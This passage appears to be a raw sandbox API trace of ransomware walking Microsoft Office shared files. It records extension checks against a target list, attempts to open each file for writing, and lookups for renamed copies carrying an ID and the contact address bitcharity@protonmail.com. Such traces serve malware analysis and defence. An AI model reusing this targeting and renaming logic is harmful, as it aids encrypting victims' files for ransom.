(lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.616] lstrlenW (lpString=".doc") returned 4 [0294.616] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0294.616] lstrlenW (lpString=".docx") returned 5 [0294.616] lstrcmpiW (lpString1=".docx", lpString2="t.exe") returned -1 [0294.616] lstrlenW (lpString=".pdf") returned 4 [0294.617] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0294.617] lstrlenW (lpString=".xls") returned 4 [0294.617] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0294.617] lstrlenW (lpString=".xlsx") returned 5 [0294.617] lstrcmpiW (lpString1=".xlsx", lpString2="t.exe") returned -1 [0294.617] lstrlenW (lpString=".ppt") returned 4 [0294.617] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0294.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.617] lstrlenW (lpString=".zip") returned 4 [0294.617] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0294.617] lstrlenW (lpString=".rar") returned 4 [0294.617] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0294.617] lstrlenW (lpString=".bz2") returned 4 [0294.617] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0294.617] lstrlenW (lpString=".7z") returned 3 [0294.617] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0294.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.617] lstrlenW (lpString=".dbf") returned 4 [0294.617] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0294.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.617] lstrlenW (lpString=".1cd") returned 4 [0294.617] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0294.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe") returned 77 [0294.617] lstrlenW (lpString=".jpg") returned 4 [0294.617] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0294.617] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.617] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0294.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0294.618] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=9728) returned 1 [0294.618] CloseHandle (hObject=0x1088) returned 1 [0294.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0294.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.618] lstrlenW (lpString=".doc") returned 4 [0294.618] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.618] lstrlenW (lpString=".docx") returned 5 [0294.618] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.618] lstrlenW (lpString=".pdf") returned 4 [0294.618] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.618] lstrlenW (lpString=".xls") returned 4 [0294.618] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.618] lstrlenW (lpString=".xlsx") returned 5 [0294.618] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.619] lstrlenW (lpString=".ppt") returned 4 [0294.619] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.619] lstrlenW (lpString=".zip") returned 4 [0294.619] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.619] lstrlenW (lpString=".rar") returned 4 [0294.619] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.619] lstrlenW (lpString=".bz2") returned 4 [0294.619] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.619] lstrlenW (lpString=".7z") returned 3 [0294.619] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.619] lstrlenW (lpString=".dbf") returned 4 [0294.619] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.619] lstrlenW (lpString=".1cd") returned 4 [0294.619] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.619] lstrlenW (lpString=".jpg") returned 4 [0294.619] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.619] lstrlenW (lpString=".doc") returned 4 [0294.619] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.619] lstrlenW (lpString=".docx") returned 5 [0294.619] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.619] lstrlenW (lpString=".pdf") returned 4 [0294.619] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.619] lstrlenW (lpString=".xls") returned 4 [0294.619] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.619] lstrlenW (lpString=".xlsx") returned 5 [0294.619] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.620] lstrlenW (lpString=".ppt") returned 4 [0294.620] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.620] lstrlenW (lpString=".zip") returned 4 [0294.620] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.620] lstrlenW (lpString=".rar") returned 4 [0294.620] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.620] lstrlenW (lpString=".bz2") returned 4 [0294.620] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.620] lstrlenW (lpString=".7z") returned 3 [0294.620] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.620] lstrlenW (lpString=".dbf") returned 4 [0294.620] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.620] lstrlenW (lpString=".1cd") returned 4 [0294.620] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0294.620] lstrlenW (lpString=".jpg") returned 4 [0294.620] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.620] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.620] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0294.620] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0294.620] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=10240) returned 1 [0294.621] CloseHandle (hObject=0x1088) returned 1 [0294.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui")) returned 0x20 [0294.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.621] lstrlenW (lpString=".doc") returned 4 [0294.621] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.621] lstrlenW (lpString=".docx") returned 5 [0294.621] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.621] lstrlenW (lpString=".pdf") returned 4 [0294.621] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.621] lstrlenW (lpString=".xls") returned 4 [0294.621] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.621] lstrlenW (lpString=".xlsx") returned 5 [0294.621] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.621] lstrlenW (lpString=".ppt") returned 4 [0294.621] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.621] lstrlenW (lpString=".zip") returned 4 [0294.621] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.621] lstrlenW (lpString=".rar") returned 4 [0294.621] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.621] lstrlenW (lpString=".bz2") returned 4 [0294.621] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.621] lstrlenW (lpString=".7z") returned 3 [0294.622] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.622] lstrlenW (lpString=".dbf") returned 4 [0294.622] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.622] lstrlenW (lpString=".1cd") returned 4 [0294.622] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.622] lstrlenW (lpString=".jpg") returned 4 [0294.622] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.622] lstrlenW (lpString=".doc") returned 4 [0294.622] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.622] lstrlenW (lpString=".docx") returned 5 [0294.622] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.622] lstrlenW (lpString=".pdf") returned 4 [0294.622] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.622] lstrlenW (lpString=".xls") returned 4 [0294.622] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.622] lstrlenW (lpString=".xlsx") returned 5 [0294.622] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.622] lstrlenW (lpString=".ppt") returned 4 [0294.622] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.622] lstrlenW (lpString=".zip") returned 4 [0294.622] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.622] lstrlenW (lpString=".rar") returned 4 [0294.622] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.622] lstrlenW (lpString=".bz2") returned 4 [0294.622] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.623] lstrlenW (lpString=".7z") returned 3 [0294.623] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.623] lstrlenW (lpString=".dbf") returned 4 [0294.623] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.623] lstrlenW (lpString=".1cd") returned 4 [0294.623] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hr-HR\\tipresx.dll.mui") returned 72 [0294.623] lstrlenW (lpString=".jpg") returned 4 [0294.623] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.623] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0294.623] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0294.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1088 [0294.623] GetFileSizeEx (in: hFile=0x1088, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=10240) returned 1 [0294.623] CloseHandle (hObject=0x1088) returned 1 [0294.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui")) returned 0x20 [0294.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.623] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.624] lstrlenW (lpString=".doc") returned 4 [0294.624] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.624] lstrlenW (lpString=".docx") returned 5 [0294.624] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.624] lstrlenW (lpString=".pdf") returned 4 [0294.624] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.624] lstrlenW (lpString=".xls") returned 4 [0294.624] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.624] lstrlenW (lpString=".xlsx") returned 5 [0294.624] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.624] lstrlenW (lpString=".ppt") returned 4 [0294.624] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.624] lstrlenW (lpString=".zip") returned 4 [0294.624] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.624] lstrlenW (lpString=".rar") returned 4 [0294.624] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.624] lstrlenW (lpString=".bz2") returned 4 [0294.624] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.624] lstrlenW (lpString=".7z") returned 3 [0294.624] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.624] lstrlenW (lpString=".dbf") returned 4 [0294.624] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.624] lstrlenW (lpString=".1cd") returned 4 [0294.624] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.624] lstrlenW (lpString=".jpg") returned 4 [0294.624] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.625] lstrlenW (lpString=".doc") returned 4 [0294.625] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0294.625] lstrlenW (lpString=".docx") returned 5 [0294.625] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0294.625] lstrlenW (lpString=".pdf") returned 4 [0294.625] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0294.625] lstrlenW (lpString=".xls") returned 4 [0294.625] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0294.625] lstrlenW (lpString=".xlsx") returned 5 [0294.625] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0294.625] lstrlenW (lpString=".ppt") returned 4 [0294.625] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0294.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.625] lstrlenW (lpString=".zip") returned 4 [0294.625] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0294.625] lstrlenW (lpString=".rar") returned 4 [0294.625] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0294.625] lstrlenW (lpString=".bz2") returned 4 [0294.625] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0294.625] lstrlenW (lpString=".7z") returned 3 [0294.625] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0294.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.625] lstrlenW (lpString=".dbf") returned 4 [0294.625] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0294.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.625] lstrlenW (lpString=".1cd") returned 4 [0294.625] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0294.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hu-HU\\tipresx.dll.mui") returned 72 [0294.625] lstrlenW (lpString=".jpg") returned 4 [0294.625] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0294.626] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0294.626] lstrlenW (lpString="InkDiv.dll") returned 10 [0294.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0294.775] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=361472) returned 1 [0294.775] CloseHandle (hObject=0x10c8) returned 1 [0294.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll")) returned 0x20 [0294.775] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0294.775] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkdiv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0294.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.775] lstrlenW (lpString=".doc") returned 4 [0294.775] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.775] lstrlenW (lpString=".docx") returned 5 [0294.775] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0294.775] lstrlenW (lpString=".pdf") returned 4 [0294.775] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.775] lstrlenW (lpString=".xls") returned 4 [0294.775] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.775] lstrlenW (lpString=".xlsx") returned 5 [0294.775] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0294.775] lstrlenW (lpString=".ppt") returned 4 [0294.775] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.775] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.775] lstrlenW (lpString=".zip") returned 4 [0294.775] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.775] lstrlenW (lpString=".rar") returned 4 [0294.775] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.776] lstrlenW (lpString=".bz2") returned 4 [0294.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.776] lstrlenW (lpString=".7z") returned 3 [0294.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.776] lstrlenW (lpString=".dbf") returned 4 [0294.776] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.776] lstrlenW (lpString=".1cd") returned 4 [0294.776] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.776] lstrlenW (lpString=".jpg") returned 4 [0294.776] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.776] lstrlenW (lpString=".doc") returned 4 [0294.776] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0294.776] lstrlenW (lpString=".docx") returned 5 [0294.776] lstrcmpiW (lpString1=".docx", lpString2="v.dll") returned -1 [0294.776] lstrlenW (lpString=".pdf") returned 4 [0294.776] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0294.776] lstrlenW (lpString=".xls") returned 4 [0294.776] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0294.776] lstrlenW (lpString=".xlsx") returned 5 [0294.776] lstrcmpiW (lpString1=".xlsx", lpString2="v.dll") returned -1 [0294.776] lstrlenW (lpString=".ppt") returned 4 [0294.776] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0294.776] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.776] lstrlenW (lpString=".zip") returned 4 [0294.776] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0294.776] lstrlenW (lpString=".rar") returned 4 [0294.776] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0294.776] lstrlenW (lpString=".bz2") returned 4 [0294.776] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0294.776] lstrlenW (lpString=".7z") returned 3 [0294.776] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0294.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.777] lstrlenW (lpString=".dbf") returned 4 [0294.777] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0294.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.777] lstrlenW (lpString=".1cd") returned 4 [0294.777] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0294.777] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkDiv.dll") returned 61 [0294.777] lstrlenW (lpString=".jpg") returned 4 [0294.777] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0294.777] lstrcmpiW (lpString1=".EXE", lpString2=".com") returned 1 [0294.777] lstrlenW (lpString="OSE.EXE") returned 7 [0294.777] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c8 [0294.777] GetFileSizeEx (in: hFile=0x10c8, lpFileSize=0x333ff14 | out: lpFileSize=0x333ff14*=244296) returned 1 [0294.777] CloseHandle (hObject=0x10c8) returned 1 [0294.777] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe")) returned 0x20 [0294.777] 